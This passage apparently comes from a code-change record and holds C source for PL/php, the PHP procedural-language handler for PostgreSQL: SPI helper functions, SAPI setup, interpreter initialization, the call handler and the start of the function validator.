get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\n\tZEND_FETCH_RESOURCE(SPIres, php_SPIresult *, z_spi, -1, \"SPI result\",\n\t\t\t\t\t\tSPIres_rtype);\n\n\tREPORT_PHP_MEMUSAGE(\"spi_processed: finish\");\n\n\tRETURN_LONG(SPIres->SPI_processed);\n}\n\n/*\n * spi_status\n * \t\tReturn the status returned by a previous spi_exec call, as a string.\n */\nZEND_FUNCTION(spi_status)\n{\n\tzval\t   **z_spi = NULL;\n\tphp_SPIresult\t*SPIres;\n\n\tREPORT_PHP_MEMUSAGE(\"spi_status: start\");\n\n\tif (ZEND_NUM_ARGS() != 1)\n\t\tWRONG_PARAM_COUNT;\n\n\tif (zend_get_parameters_ex(1, &z_spi) == FAILURE)\n\t{\n\t\tzend_error(E_WARNING, \"Cannot parse parameters in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\tif (z_spi == NULL)\n\t{\n\t\tzend_error(E_WARNING, \"Could not get SPI resource in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\n\tZEND_FETCH_RESOURCE(SPIres, php_SPIresult *, z_spi, -1, \"SPI result\",\n\t\t\t\t\t\tSPIres_rtype);\n\n\tREPORT_PHP_MEMUSAGE(\"spi_status: finish\");\n\n\t/*\n\t * XXX The cast is wrong, but we use it to prevent a compiler warning.\n\t * Note that the second parameter to RETURN_STRING is \"duplicate\", so\n\t * we are returning a copy of the string anyway.\n\t */\n\tRETURN_STRING((char *) SPI_result_code_string(SPIres->status), true);\n}\n\n/*\n * spi_rewind\n * \t\tResets the internal counter for spi_fetch_row, so the next\n * \t\tspi_fetch_row call will start fetching from the beginning.\n */\nZEND_FUNCTION(spi_rewind)\n{\n\tzval\t   **z_spi = NULL;\n\tphp_SPIresult\t*SPIres;\n\n\tif (ZEND_NUM_ARGS() != 1)\n\t\tWRONG_PARAM_COUNT;\n\n\tif (zend_get_parameters_ex(1, &z_spi) == FAILURE)\n\t{\n\t\tzend_error(E_WARNING, \"Cannot parse parameters in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\tif (z_spi == NULL)\n\t{\n\t\tzend_error(E_WARNING, \"Could not get SPI resource in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t\tRETURN_FALSE;\n\t}\n\n\tZEND_FETCH_RESOURCE(SPIres, php_SPIresult *, z_spi, -1, \"SPI result\",\n\t\t\t\t\t\tSPIres_rtype);\n\n\tSPIres->current_row = 0;\n\n\tRETURN_NULL();\n}\n/*\n * pg_raise\n *      User-callable function for sending messages to the Postgres log.\n */\nZEND_FUNCTION(pg_raise)\n{\n\tchar       *level = NULL,\n\t\t\t   *message = NULL;\n\tint         level_len,\n\t\t\t\tmessage_len,\n\t\t\t\televel = 0;\n\n\tif (ZEND_NUM_ARGS() != 2)\n\t{\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t errmsg(\"wrong number of arguments to %s\", \"pg_raise\")));\n\t}\n\n\tif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"ss\",\n\t\t\t\t\t\t\t  &level, &level_len,\n\t\t\t\t\t\t\t  &message, &message_len) == FAILURE)\n\t{\n\t\tzend_error(E_WARNING, \"cannot parse parameters in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t}\n\n\tif (strcasecmp(level, \"ERROR\") == 0)\n\t\televel = E_ERROR;\n\telse if (strcasecmp(level, \"WARNING\") == 0)\n\t\televel = E_WARNING;\n\telse if (strcasecmp(level, \"NOTICE\") == 0)\n\t\televel = E_NOTICE;\n\telse\n\t\tzend_error(E_ERROR, \"incorrect log level\");\n\n\tzend_error(elevel, \"%s\", message);\n}\n\n/*\n * return_next\n * \t\tAdd a tuple to the current tuplestore\n */\nZEND_FUNCTION(return_next)\n{\n\tMemoryContext\toldcxt;\n\tzval\t   *param;\n\tHeapTuple\ttup;\n\tReturnSetInfo *rsi;\n\t\n\t/*\n\t * Disallow use of return_next inside non-SRF functions\n\t */\n\tif (current_fcinfo == NULL || current_fcinfo->flinfo == NULL || \n\t\t!current_fcinfo->flinfo->fn_retset)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_FEATURE_NOT_SUPPORTED),\n\t\t\t\t errmsg(\"cannot use return_next in functions not declared to \"\n\t\t\t\t\t\t\"return a set\")));\n\n\trsi = (ReturnSetInfo *) current_fcinfo->resultinfo;\n\n\tAssert(current_tupledesc != NULL);\n\tAssert(rsi != NULL);\n\t\n\tif (ZEND_NUM_ARGS() > 1)\n\t\tereport(ERROR,\n\t\t\t\t(errcode(ERRCODE_SYNTAX_ERROR),\n\t\t\t\t errmsg(\"wrong number of arguments to %s\", \"return_next\")));\n\n\tif (ZEND_NUM_ARGS() == 0)\n\t{\n\t\t/* \n\t\t * Called from the function declared with RETURNS TABLE \n\t     */\n\t\tparam = get_table_arguments(current_attinmeta);\n\t}\n\telse if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"z\",\n\t\t\t\t\t\t\t  &param) == FAILURE)\n\t{\n\t\tzend_error(E_WARNING, \"cannot parse parameters in %s\",\n\t\t\t\t   get_active_function_name(TSRMLS_C));\n\t}\n\n\t/* Use the per-query context so that the tuplestore survives */\n\toldcxt = MemoryContextSwitchTo(rsi->econtext->ecxt_per_query_memory);\n\n\t/* Form the tuple */\n\ttup = plphp_srf_htup_from_zval(param, current_attinmeta, current_memcxt);\n\n\t/* First call?  Create the tuplestore. */\n\tif (!current_tuplestore)\n\t\tcurrent_tuplestore = tuplestore_begin_heap(true, false, work_mem);\n\n\t/* Save the tuple and clean up */\n\ttuplestore_puttuple(current_tuplestore, tup);\n\theap_freetuple(tup);\n\n\tMemoryContextSwitchTo(oldcxt);\n}\n\n/*\n * php_SPIresult_destroy\n * \t\tFree the resources allocated by a spi_exec call.\n *\n * This is automatically called when the resource goes out of scope\n * or is overwritten by another resource.\n */\nvoid\nphp_SPIresult_destroy(zend_rsrc_list_entry *rsrc TSRMLS_DC)\n{\n\tphp_SPIresult *res = (php_SPIresult *) rsrc->ptr;\n\n\tif (res->SPI_tuptable != NULL)\n\t\tSPI_freetuptable(res->SPI_tuptable);\n\n\tfree(res);\n}\n\n/* Return an array of TABLE argument values for return_next */\nstatic\nzval *get_table_arguments(AttInMetadata *attinmeta)\n{\n\tzval   *retval = NULL;\n\tint\t\ti;\n\t\n\tMAKE_STD_ZVAL(retval);\n\tarray_init(retval);\n\n\tAssert(attinmeta->tupdesc);\n\tAssert(saved_symbol_table != NULL);\n\t/* Extract OUT argument names */\n\tfor (i = 0; i < attinmeta->tupdesc->natts; i++)\n\t{\n\t\tzval \t**val;\n\t\tchar \t*attname;\n\n\t\tAssert(!attinmeta->tupdesc->attrs[i]->attisdropped);\n\n\t\tattname = NameStr(attinmeta->tupdesc->attrs[i]->attname);\n\n\t\tif (zend_hash_find(saved_symbol_table, \n\t\t\t\t\t\t   attname, strlen(attname) + 1,\n\t\t\t\t\t\t   (void **)&val) == SUCCESS)\n\n\t\t\tadd_next_index_zval(retval, *val);\n\t\telse\n\t\t\tadd_next_index_unset(retval);\n\t} \n\treturn retval;\n}\n\n\n/*\n * vim:ts=4:sw=4:cino=(0\n */\n"}, "files_after": {"plphp.c": "/**********************************************************************\n * plphp.c - PHP as a procedural language for PostgreSQL\n *\n * This software is copyright (c) Command Prompt Inc.\n *\n * The author hereby grants permission to use, copy, modify,\n * distribute, and license this software and its documentation for any\n * purpose, provided that existing copyright notices are retained in\n * all copies and that this notice is included verbatim in any\n * distributions. No written agreement, license, or royalty fee is\n * required for any of the authorized uses.  Modifications to this\n * software may be copyrighted by their author and need not follow the\n * licensing terms described here, provided that the new terms are\n * clearly indicated on the first page of each file where they apply.\n *\n * IN NO EVENT SHALL THE AUTHOR OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n * FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n * ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n * DERIVATIVES THEREOF, EVEN IF THE AUTHOR HAVE BEEN ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * THE AUTHOR AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND\n * NON-INFRINGEMENT.  THIS SOFTWARE IS PROVIDED ON AN \"AS IS\" BASIS,\n * AND THE AUTHOR AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE\n * MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.\n *\n * IDENTIFICATION\n *\t\t$Id$\n *********************************************************************\n */\n\n\n/* Package configuration generated by autoconf */\n#include \"config.h\"\n\n/* First round of undefs, to eliminate collision between plphp and postgresql\n * definitions\n */\n \n#undef PACKAGE_BUGREPORT\n#undef PACKAGE_NAME\n#undef PACKAGE_STRING\n#undef PACKAGE_TARNAME\n#undef PACKAGE_VERSION\n\n/* PostgreSQL stuff */\n#include \"postgres.h\"\n#include \"access/heapam.h\"\n#include \"access/transam.h\"\n#include \"access/htup_details.h\"\n\n#include \"catalog/catversion.h\"\n#include \"catalog/pg_language.h\"\n#include \"catalog/pg_proc.h\"\n#include \"catalog/pg_type.h\"\n\n#include \"commands/trigger.h\"\n#include \"fmgr.h\"\n#include \"funcapi.h\"\t\t\t/* needed for SRF support */\n#include \"lib/stringinfo.h\"\n\n#include \"utils/array.h\"\n#include \"utils/builtins.h\"\n#include \"utils/elog.h\"\n#include \"utils/lsyscache.h\"\n#include \"utils/memutils.h\"\n#include \"utils/rel.h\"\n#include \"utils/syscache.h\"\n#include \"utils/typcache.h\"\n\n/*\n * These are defined again in php.h, so undef them to avoid some\n * cpp warnings.\n */\n#undef PACKAGE_BUGREPORT\n#undef PACKAGE_NAME\n#undef PACKAGE_STRING\n#undef PACKAGE_TARNAME\n#undef PACKAGE_VERSION\n\n/* PHP stuff */\n#include \"php.h\"\n\n#include \"php_variables.h\"\n#include \"php_globals.h\"\n#include \"zend_hash.h\"\n#include \"zend_modules.h\"\n\n#include \"php_ini.h\"\t\t\t/* needed for INI_HARDCODED */\n#include \"php_main.h\"\n\n/* Our own stuff */\n#include \"plphp_io.h\"\n#include \"plphp_spi.h\"\n\n/* system stuff */\n#if HAVE_FCNTL_H\n#include <fcntl.h>\n#endif\n#if HAVE_UNISTD_H\n#include <unistd.h>\n#endif\n\n#define INI_HARDCODED(name,value) \\\n\t\tzend_alter_ini_entry(name, sizeof(name), value, strlen(value), \\\n\t\t\t\t\t\t\t PHP_INI_SYSTEM, PHP_INI_STAGE_ACTIVATE);\n\n/* Check for PostgreSQL version */\n#if (CATALOG_VERSION_NO >= 200709301)\n#define PG_VERSION_83_COMPAT\n#endif\n#if (CATALOG_VERSION_NO >= 200611241)\n#define PG_VERSION_82_COMPAT\n#endif\n/* We only support 8.1 and above */\n#if (CATALOG_VERSION_NO >= 200510211)\n#define PG_VERSION_81_COMPAT\n#else\n#error \"Unsupported PostgreSQL version\"\n#endif\n\n#undef DEBUG_PLPHP_MEMORY\n\n#ifdef DEBUG_PLPHP_MEMORY\n#define REPORT_PHP_MEMUSAGE(where) \\\n\telog(NOTICE, \"PHP mem usage: %s: %u\", where, AG(allocated_memory));\n#else\n#define REPORT_PHP_MEMUSAGE(a) \n#endif\n\n/* PostgreSQL starting from v 8.2 requires this define\n * for all modules.\n */\n#ifdef PG_VERSION_82_COMPAT\nPG_MODULE_MAGIC;\n#else\n/* Supress warnings on 8.1 and below */\n#define ReleaseTupleDesc(tupdesc) \n#endif\n\n/* PHP 5.2 and earlier do not contain these definitions */\n#ifndef Z_SET_ISREF_P\n#define Z_SET_ISREF_P(foo) (foo)->is_ref = 1\n#define Z_UNSET_ISREF_P(foo) (foo)->is_ref = 0\n#endif\n\n/* 8.2 compatibility */\n#ifndef TYPTYPE_PSEUDO\n#define TYPTYPE_PSEUDO 'p'\n#define TYPTYPE_COMPOSITE 'c'\n#endif\n\n/* Check the argument type to expect to accept an initial value */\n#define IS_ARGMODE_OUT(mode) ((mode) == PROARGMODE_OUT || \\\n(mode) == PROARGMODE_TABLE)\n/*\n * Return types.  Why on earth is this a bitmask?  Beats me.\n * We should have separate flags instead.\n */\ntypedef enum pl_type\n{\n\tPL_TUPLE = 1 << 0,\n\tPL_ARRAY = 1 << 1,\n\tPL_PSEUDO = 1 << 2\n} pl_type;\n\n/*\n * The information we cache about loaded procedures.\n *\n * \"proname\" is the name of the function, given by the user.\n *\n * fn_xmin and fn_cmin are used to know when a function has been redefined and\n * needs to be recompiled.\n *\n * trusted indicates whether the function was created with a trusted handler.\n *\n * ret_type is a weird bitmask that indicates whether this function returns a\n * tuple, an array or a pseudotype.  ret_oid is the Oid of the return type.\n * retset indicates whether the function was declared to return a set.\n *\n * arg_argmode indicates whether the argument is IN, OUT or both. It follows\n * values in pg_proc.proargmodes.\n *\n * n_out_args - total number of OUT or INOUT arguments.\n * arg_out_tupdesc is a tuple descriptor of the tuple constructed for OUT args.\n *\n * XXX -- maybe this thing needs to be rethought.\n */\ntypedef struct plphp_proc_desc\n{\n\tchar\t   *proname;\n\tTransactionId fn_xmin;\n\tCommandId\tfn_cmin;\n\tbool\t\ttrusted;\n\tpl_type\t\tret_type;\n\tOid\t\t\tret_oid;\t\t/* Oid of returning type */\n\tbool\t\tretset;\n\tFmgrInfo\tresult_in_func;\n\tOid\t\t\tresult_typioparam;\n\tint\t\t\tn_out_args;\n\tint\t\t\tn_total_args;\n\tint\t\t\tn_mixed_args;\n\tFmgrInfo\targ_out_func[FUNC_MAX_ARGS];\n\tOid\t\t\targ_typioparam[FUNC_MAX_ARGS];\n\tchar\t\targ_typtype[FUNC_MAX_ARGS];\n\tchar\t\targ_argmode[FUNC_MAX_ARGS];\n\tTupleDesc\targs_out_tupdesc;\n} plphp_proc_desc;\n\n/*\n * Global data\n */\nstatic bool plphp_first_call = true;\nstatic zval *plphp_proc_array = NULL;\n\n/* for PHP write/flush */\nstatic StringInfo currmsg = NULL;\n\n/*\n * for PHP <-> Postgres error message passing\n *\n * XXX -- it would be much better if we could save errcontext,\n * errhint, etc as well.\n */\nstatic char *error_msg = NULL;\n/*\n * Forward declarations\n */\nstatic void plphp_init_all(void);\nvoid\t\tplphp_init(void);\n\nPG_FUNCTION_INFO_V1(plphp_call_handler);\nDatum plphp_call_handler(PG_FUNCTION_ARGS);\n\nPG_FUNCTION_INFO_V1(plphp_validator);\nDatum plphp_validator(PG_FUNCTION_ARGS);\n\nstatic Datum plphp_trigger_handler(FunctionCallInfo fcinfo,\n\t\t\t\t\t\t\t\t   plphp_proc_desc *desc\n\t\t\t\t\t\t\t\t   TSRMLS_DC);\nstatic Datum plphp_func_handler(FunctionCallInfo fcinfo,\n\t\t\t\t\t\t\t    plphp_proc_desc *desc\n\t\t\t\t\t\t\t\tTSRMLS_DC);\nstatic Datum plphp_srf_handler(FunctionCallInfo fcinfo,\n\t\t\t\t\t\t   \t   plphp_proc_desc *desc\n\t\t\t\t\t\t\t   TSRMLS_DC);\n\nstatic plphp_proc_desc *plphp_compile_function(Oid fnoid, bool is_trigger TSRMLS_DC);\nstatic zval *plphp_call_php_func(plphp_proc_desc *desc,\n\t\t\t\t\t\t\t\t FunctionCallInfo fcinfo\n\t\t\t\t\t\t\t\t TSRMLS_DC);\nstatic zval *plphp_call_php_trig(plphp_proc_desc *desc,\n\t\t\t\t\t\t\t\t FunctionCallInfo fcinfo, zval *trigdata\n\t\t\t\t\t\t\t\t TSRMLS_DC);\n\nstatic void plphp_error_cb(int type, const char *filename, const uint lineno,\n\t\t\t\t\t\t\t\t  const char *fmt, va_list args);\nstatic bool is_valid_php_identifier(char *name);\n\n/*\n * FIXME -- this comment is quite misleading actually, which is not surprising\n * since it came verbatim from PL/pgSQL.  Rewrite memory handling here someday\n * and remove it.\n *\n * This routine is a crock, and so is everyplace that calls it.  The problem\n * is that the cached form of plphp functions/queries is allocated permanently\n * (mostly via malloc()) and never released until backend exit.  Subsidiary\n * data structures such as fmgr info records therefore must live forever\n * as well.  A better implementation would store all this stuff in a per-\n * function memory context that could be reclaimed at need.  In the meantime,\n * fmgr_info_cxt must be called specifying TopMemoryContext so that whatever\n * it might allocate, and whatever the eventual function might allocate using\n * fn_mcxt, will live forever too.\n */\nstatic void\nperm_fmgr_info(Oid functionId, FmgrInfo *finfo)\n{\n\tfmgr_info_cxt(functionId, finfo, TopMemoryContext);\n}\n\n/*\n * sapi_plphp_write\n * \t\tCalled when PHP wants to write something to stdout.\n *\n * We just save the output in a StringInfo until the next Flush call.\n */\nstatic int\nsapi_plphp_write(const char *str, uint str_length TSRMLS_DC)\n{\n\tif (currmsg == NULL)\n\t\tcurrmsg = makeStringInfo();\n\n\tappendStringInfoString(currmsg, str);\n\n\treturn str_length;\n}\n\n/*\n * sapi_plphp_flush\n * \t\tCalled when PHP wants to flush stdout.\n *\n * The stupid PHP implementation calls write and follows with a Flush right\n * away -- a good implementation would write several times and flush when the\n * message is complete.  To make the output look reasonable in Postgres, we\n * skip the flushing if the accumulated message does not end in a newline.\n */\nstatic void\nsapi_plphp_flush(void *sth)\n{\n\tif (currmsg != NULL)\n\t{\n\t\tAssert(currmsg->data != NULL);\n\n\t\tif (currmsg->data[currmsg->len - 1] == '\\n')\n\t\t{\n\t\t\t/*\n\t\t\t * remove the trailing newline because elog() inserts another\n\t\t\t * one\n\t\t\t */\n\t\t\tcurrmsg->data[currmsg->len - 1] = '\\0';\n\t\t}\n\t\telog(LOG, \"%s\", currmsg->data);\n\n\t\tpfree(currmsg->data);\n\t\tpfree(currmsg);\n\t\tcurrmsg = NULL;\n\t}\n\telse\n\t\telog(LOG, \"attempting to flush a NULL message\");\n}\n\nstatic int\nsapi_plphp_send_headers(sapi_headers_struct *sapi_headers TSRMLS_DC)\n{\n\treturn 1;\n}\n\nstatic void\nphp_plphp_log_messages(char *message)\n{\n\telog(LOG, \"plphp: %s\", message);\n}\n\n\nstatic sapi_module_struct plphp_sapi_module = {\n\t\"plphp\",\t\t\t\t\t/* name */\n\t\"PL/php PostgreSQL Handler\",/* pretty name */\n\n\tNULL,\t\t\t\t\t\t/* startup */\n\tphp_module_shutdown_wrapper,/* shutdown */\n\n\tNULL,\t\t\t\t\t\t/* activate */\n\tNULL,\t\t\t\t\t\t/* deactivate */\n\n\tsapi_plphp_write,\t\t\t/* unbuffered write */\n\tsapi_plphp_flush,\t\t\t/* flush */\n\tNULL,\t\t\t\t\t\t/* stat */\n\tNULL,\t\t\t\t\t\t/* getenv */\n\n\tphp_error,\t\t\t\t\t/* sapi_error(int, const char *, ...) */\n\n\tNULL,\t\t\t\t\t\t/* header handler */\n\tsapi_plphp_send_headers,\t/* send headers */\n\tNULL,\t\t\t\t\t\t/* send header */\n\n\tNULL,\t\t\t\t\t\t/* read POST */\n\tNULL,\t\t\t\t\t\t/* read cookies */\n\n\tNULL,\t\t\t\t\t\t/* register server variables */\n\tphp_plphp_log_messages,\t\t/* log message */\n\n\tNULL,\t\t\t\t\t\t/* Block interrupts */\n\tNULL,\t\t\t\t\t\t/* Unblock interrupts */\n\tSTANDARD_SAPI_MODULE_PROPERTIES\n};\n\n/*\n * plphp_init_all()\t\t- Initialize all\n *\n * XXX This is called each time a function is invoked.\n */\nstatic void\nplphp_init_all(void)\n{\n\t/* Execute postmaster-startup safe initialization */\n\tif (plphp_first_call)\n\t\tplphp_init();\n\n\t/*\n\t * Any other initialization that must be done each time a new\n\t * backend starts -- currently none.\n\t */\n}\n\n/*\n * This function must not be static, so that it can be used in\n * preload_libraries.  If it is, it will be called by postmaster;\n * otherwise it will be called by each backend the first time a\n * function is called.\n */\nvoid\nplphp_init(void)\n{\n\tTSRMLS_FETCH();\n\t/* Do initialization only once */\n\tif (!plphp_first_call)\n\t\treturn;\n\n\t/*\n\t * Need a Pg try/catch block to prevent an initialization-\n\t * failure from bringing the whole server down.\n\t */\n\tPG_TRY();\n\t{\n\t\tzend_try\n\t\t{\n\t\t\t/*\n\t\t\t * XXX This is a hack -- we are replacing the error callback in an\n\t\t\t * invasive manner that should not be expected to work on future PHP\n\t\t\t * releases.\n\t\t\t */\n\t\t\tzend_error_cb = plphp_error_cb;\n\n\t\t\t/* Omit HTML tags from output */\n\t\t\tplphp_sapi_module.phpinfo_as_text = 1;\n\t\t\tsapi_startup(&plphp_sapi_module);\n\n\t\t\tif (php_module_startup(&plphp_sapi_module, NULL, 0) == FAILURE)\n\t\t\t\telog(ERROR, \"php_module_startup call failed\");\n\n\t\t\t/* php_module_startup changed it, so put it back */\n\t\t\tzend_error_cb = plphp_error_cb;\n\n\t\t\t/*\n\t\t\t * FIXME -- Figure out what this comment is supposed to mean:\n\t\t\t *\n\t\t\t * There is no way to see if we must call zend_ini_deactivate()\n\t\t\t * since we cannot check if EG(ini_directives) has been initialised\n\t\t\t * because the executor's constructor does not initialize it.\n\t\t\t * Apart from that there seems no need for zend_ini_deactivate() yet.\n\t\t\t * So we error out.\n\t\t\t */\n\n\t\t\t/* Init procedure cache */\n\t\t\tMAKE_STD_ZVAL(plphp_proc_array);\n\t\t\tarray_init(plphp_proc_array);\n\n\t\t\tzend_register_functions(\n#if PHP_MAJOR_VERSION == 5\n\t\t\t\t\t\t\t\t\tNULL,\n#endif\n\t\t\t\t\t\t\t\t\tspi_functions, NULL,\n\t\t\t\t\t\t\t\t\tMODULE_PERSISTENT TSRMLS_CC);\n\n\t\t\tPG(during_request_startup) = true;\n\n\t\t\t/* Set some defaults */\n\t\t\tSG(options) |= SAPI_OPTION_NO_CHDIR;\n\n\t\t\t/* Hard coded defaults which cannot be overwritten in the ini file */\n\t\t\tINI_HARDCODED(\"register_argc_argv\", \"0\");\n\t\t\tINI_HARDCODED(\"html_errors\", \"0\");\n\t\t\tINI_HARDCODED(\"implicit_flush\", \"1\");\n\t\t\tINI_HARDCODED(\"max_execution_time\", \"0\");\n\t\t\tINI_HARDCODED(\"max_input_time\", \"-1\");\n\n\t\t\t/*\n\t\t\t * Set memory limit to ridiculously high value.  This helps the\n\t\t\t * server not to crash, because the PHP allocator has the really\n\t\t\t * stupid idea of calling exit() if the limit is exceeded.\n\t\t\t */\n\t\t\t{\n\t\t\t\tchar\tlimit[15];\n\n\t\t\t\tsnprintf(limit, sizeof(limit), \"%d\", 1 << 30);\n\t\t\t\tINI_HARDCODED(\"memory_limit\", limit);\n\t\t\t}\n\n\t\t\t/* tell the engine we're in non-html mode */\n\t\t\tzend_uv.html_errors = false;\n\n\t\t\t/* not initialized but needed for several options */\n\t\t\tCG(in_compilation) = false;\n\n\t\t\tEG(uninitialized_zval_ptr) = NULL;\n\n\t\t\tif (php_request_startup(TSRMLS_C) == FAILURE)\n\t\t\t{\n\t\t\t\tSG(headers_sent) = 1;\n\t\t\t\tSG(request_info).no_headers = 1;\n\t\t\t\t/* Use Postgres log */\n\t\t\t\telog(ERROR, \"php_request_startup call failed\");\n\t\t\t}\n\n\t\t\tCG(interactive) = false;\n\t\t\tPG(during_request_startup) = true;\n\n\t\t\t/* Register the resource for SPI_result */\n\t\t\tSPIres_rtype = zend_register_list_destructors_ex(php_SPIresult_destroy,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t NULL, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"SPI result\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 0);\n\n\t\t\t/* Ok, we're done */\n\t\t\tplphp_first_call = false;\n\t\t}\n\t\tzend_catch\n\t\t{\n\t\t\tplphp_first_call = true;\n\t\t\tif (error_msg)\n\t\t\t{\n\t\t\t\tchar\tstr[1024];\n\n\t\t\t\tstrncpy(str, error_msg, sizeof(str));\n\t\t\t\tpfree(error_msg);\n\t\t\t\terror_msg = NULL;\n\t\t\t\telog(ERROR, \"fatal error during PL/php initialization: %s\",\n\t\t\t\t\t str);\n\t\t\t}\n\t\t\telse\n\t\t\t\telog(ERROR, \"fatal error during PL/php initialization\");\n\t\t}\n\t\tzend_end_try();\n\t}\n\tPG_CATCH();\n\t{\n\t\tPG_RE_THROW();\n\t}\n\tPG_END_TRY();\n}\n\n/*\n * plphp_call_handler\n *\n * The visible function of the PL interpreter.  The PostgreSQL function manager\n * and trigger manager call this function for execution of php procedures.\n */\nDatum\nplphp_call_handler(PG_FUNCTION_ARGS)\n{\n\tDatum\t\tretval;\n\tTSRMLS_FETCH();\n\n\t/* Initialize interpreter */\n\tplphp_init_all();\n\n\tPG_TRY();\n\t{\n\t\t/* Connect to SPI manager */\n\t\tif (SPI_connect() != SPI_OK_CONNECT)\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_CONNECTION_FAILURE),\n\t\t\t\t\t errmsg(\"could not connect to SPI manager\")));\n\n\t\tzend_try\n\t\t{\n\t\t\tplphp_proc_desc *desc;\n\n\t\t\t/* Clean up SRF state */\n\t\t\tcurrent_fcinfo = NULL;\n\n\t\t\t/* Redirect to the appropiate handler */\n\t\t\tif (CALLED_AS_TRIGGER(fcinfo))\n\t\t\t{\n\t\t\t\tdesc = plphp_compile_function(fcinfo->flinfo->fn_oid, true TSRMLS_CC);\n\n\t\t\t\t/* Activate PHP safe mode if needed */\n\t\t\t\t//PG(safe_mode) = desc->trusted;\n\n\t\t\t\tretval = plphp_trigger_handler(fcinfo, desc TSRMLS_CC);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tdesc = plphp_compile_function(fcinfo->flinfo->fn_oid, false TSRMLS_CC);\n\n\t\t\t\t/* Activate PHP safe mode if needed */\n\t\t\t\t//PG(safe_mode) = desc->trusted;\n\n\t\t\t\tif (desc->retset)\n\t\t\t\t\tretval = plphp_srf_handler(fcinfo, desc TSRMLS_CC);\n\t\t\t\telse\n\t\t\t\t\tretval = plphp_func_handler(fcinfo, desc TSRMLS_CC);\n\t\t\t}\n\t\t}\n\t\tzend_catch\n\t\t{\n\t\t\tREPORT_PHP_MEMUSAGE(\"reporting error\");\n\t\t\tif (error_msg)\n\t\t\t{\n\t\t\t\tchar\tstr[1024];\n\n\t\t\t\tstrncpy(str, error_msg, sizeof(str));\n\t\t\t\tpfree(error_msg);\n\t\t\t\terror_msg = NULL;\n\t\t\t\telog(ERROR, \"%s\", str);\n\t\t\t}\n\t\t\telse\n\t\t\t\telog(ERROR, \"fatal error\");\n\n\t\t\t/* not reached, but keep compiler quiet */\n\t\t\treturn 0;\n\t\t}\n\t\tzend_end_try();\n\t}\n\tPG_CATCH();\n\t{\n\t\tPG_RE_THROW();\n\t}\n\tPG_END_TRY();\n\n\treturn retval;\n}\n\n/*\n * plphp_validator\n *\n * \t\tValidator function for checking the function's syntax at creation\n * \t\ttime\n */\nDatum\nplphp_validator(PG_FUNCTION_ARGS)\n{\n\tOid\t\t\t\tfuncoid = PG_GETARG_OID(0);\n\tForm_pg_proc\tprocForm;\n\tHeapTuple\t\tprocTup;\n\tchar\t\t\ttmpname[32];\n\tchar\t\t\tfuncname[NAMEDATALEN];\n\tchar\t\t   *tmpsrc = NULL,\n\t\t\t\t   *prosrc;\n\tDatum\t\t\tprosrcdatum;\n\n\n\tTSRMLS_FETCH();\n\t/* Initialize interpreter */\n\tplphp_init_all();\n\n\tPG_TRY();\n\t{\n\t\tbool\t\t\tisnull;\n\t\t/* Grab the pg_proc tuple */\n\t\tprocTup = SearchSysCache(PROCOID,\n\t\t\t\t\t\t\t\t ObjectIdGetDatum(funcoid),\n\t\t\t\t\t\t\t\t 0, 0, 0);\n\t\tif (!HeapTupleIsValid(procTup))\n\t\t\telog(ERROR, \"cache lookup failed for function %u\", funcoid);\n\n\t\tprocForm = (Form_pg_proc) GETSTRUCT(procTup);\n\n\t\t/* Get the function source code */\n\t\tprosrcdatum = SysCacheGetAttr(PROCOID,\n\t\t\t\t\t\t\t\t\t  procTup,\n\t\t\t\t\t\t\t\t\t  Anum_pg_proc_prosrc,\n\t\t\t\t\t\t\t\t\t  &isnull);\n\t\tif (isnull)\n\t\t\telog(ERROR, \"cache lookup yielded NULL prosrc\");\n\t\tprosrc = DatumGetCString(DirectFunctionCall1(textout,\n\t\t\t\t\t\t\t\t\t\t\t\t\t prosrcdatum));\n\n\t\t/* Get the function name, for the error message */\n\t\tStrNCpy(funcname, NameStr(procForm->proname), NAMEDATALEN);\n\n\t\t/* Let go of the pg_proc tuple */\n\t\tReleaseSysCache(procTup);\n\n\t\t/* Create a PHP function creation statement */\n\t\tsnprintf(tmpname, sizeof(tmpname), \"plphp_temp_%u\", funcoid);\n\t\ttmpsrc = (char *) palloc(strlen(prosrc) +\n\t\t\t\t\t\t\t\t strlen(tmpname) +\n\t\t\t\t\t\t\t\t strlen(\"function  ($args, $argc){ } \"));\n\t\tsprintf(tmpsrc, \"function %s($args, $argc){%s}\",\n\t\t\t\ttmpname, prosrc);\n\n\t\tpfree(prosrc);\n\n\t\tzend_try\n\t\t{\n\t\t\t/*\n\t\t\t * Delete the function from the PHP function table, just in case it\n\t\t\t * already existed.  This is quite unlikely, but still.\n\t\t\t */\n\t\t\tzend_hash_del(CG(function_table), tmpname, strlen(tmpname) + 1);\n\n\t\t\t/*\n\t\t\t * Let the user see the fireworks.  If the function doesn't validate,\n\t\t\t * the ERROR will be raised and the function will not be created.\n\t\t\t */\n\t\t\tif (zend_eval_string(tmpsrc, 